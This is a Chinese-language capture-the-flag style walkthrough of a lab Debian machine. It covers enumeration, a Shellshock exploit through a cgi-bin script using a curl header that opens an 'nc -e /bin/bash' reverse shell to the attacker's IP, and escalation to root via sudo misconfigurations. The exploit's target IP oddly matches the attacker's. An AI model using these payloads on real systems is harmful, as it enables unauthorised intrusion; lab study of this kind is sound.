目标介绍
:Debian Linux (目标是个网上在线银行系统)
攻击主机
: kali Linux
利用技术
:
(偷个懒直接上命令了)
sudo arp-scan -l
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.102 08:00:27:c5:88:8d PCS Systemtechnik GmbH
$ nmap -p- -sC -sV 192.168.0.102
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-30 02:53 EDT
Nmap scan report for localhost (192.168.0.102)
Host is up (0.0015s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 37:36:60:3e:26:ae:23:3f:e1:8b:5d:18:e7:a7:c7:ce (RSA)
| 256 34:9a:57:60:7d:66:70:d5:b5:ff:47:96:e0:36:23:75 (ECDSA)
|_ 256 ae:7d:ee:fe:1d:bc:99:4d:54:45:3d:61:16:f8:6c:87 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
目标的IP是 192.168.0.102
开放的服务有80
22
端口
目标的基本信息已经明确,下一步就是对目标进行更深层的信息收集,以便得到更深层的信息,方便后期的漏洞利用
使用工具dirsearch
可以挖掘到目标的存在页面
┌──(yifang㉿yifang)-[~]
└─$ dirsearch -u http://192.168.0.102/
[02:59:56] 403 - 278B - /cgi-bin/
[03:01:17] 200 - 4KB - /README.md
[03:01:19] 200 - 1KB - /admin_login.php
[03:01:21] 200 - 4KB - /contact.php
[03:01:23] 200 - 472B - /header.php
[03:01:23] 200 - 5KB - /home.php
[03:01:23] 200 - 4KB - /images/
[03:01:23] 200 - 5KB - /index.php
[03:01:23] 200 - 5KB - /index.php/login/
[03:01:25] 200 - 8KB - /news.php
在进一步查看只会发现有价值的信息就是admin_login.php,这个是管理员的登录地址。还有比较有意思的就是README.md文件
README.md文件中有一些提示
剩下的操作岂不是信手拈来?直接在后台
页面登录
可以登录后台,但是在一番尝试后,发现并没有任何*用,于是尝试寻找其他漏洞
在信息收集的时候发现了cgi-bin的目录,有这个目录也就以为着可能存在shellshock
[破壳漏洞],在扫描的时候,反馈的是403
状态,但是并不代表底下的文件不能被访问,于是尝试使用dirsearch
进行暴力破解
┌──(yifang㉿yifang)-[~]
└─$ dirsearch -u http://192.168.0.102/cgi-bin/ -f -e sh,cgi
[03:11:41] Starting:
[03:11:56] 500 - 611B - /cgi-bin/backup.cgi
[03:12:11] 500 - 611B - /cgi-bin/shell.sh
[03:12:11] 500 - 650B - /cgi-bin/shell.sh/
果然存在两个文件,如果这个两个文件如果存在漏洞的话,那么就可以直接调用操作系统的Bash
[需要当前操作系统bash存在漏洞]
nmap正好集成了这一类漏洞的POC,可以来试试
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.0.102
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-shellshock:
| VULNERABLE:
| HTTP Shellshock vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-6271
| This web application might be affected by the vulnerability known
| as Shellshock. It seems the server is executing commands injected
| via malicious HTTP headers.
nmap已经爆出了CVE编号,百度搜索一波CVE-2014-6271
可以参考一下以下文章
接下来就是漏洞利用
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.0.103 4444'" http://192.168.0.103/cgi-bin/backup.cgi
Kali端
nc -lvp 4444
成功接收到shell
得到了目标的www用户的shell,这个权限是很低的,因此要继续寻找其他漏洞,以供获取更高的权限
首先老传统,先升级nc的shell,python -c 'import pty; pty.spawn("/bin/bash")'
然后,sudo -l
命令寻找可以免密码运行的程序
看到这里,当然是想去运行一下这个文件到底是干什么的
sudo -u thor /home/thor/./hammer.sh
以thor
身份运行hammer.sh
文件,发现可以执行操作系统命令,直接执行nc -e /bin/bash 192.168.0.103 5555
然后使用python -c 'import pty; pty.spawn("/bin/bash")' && sudo -l
寻找能够提权的方法,发现thor
用户拥有执行service命令SUDO权力,在GTFBins网站,寻找service的提权方式
sudo service ../../bin/sh
提权成功
打靶结束!!!
XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must ensure the integrity of this article, including all contents such as copyright notice. Without the permission of the author, the content of this article shall not be modified or increased or decreased arbitrarily, and it shall not be used for commercial purposes in any way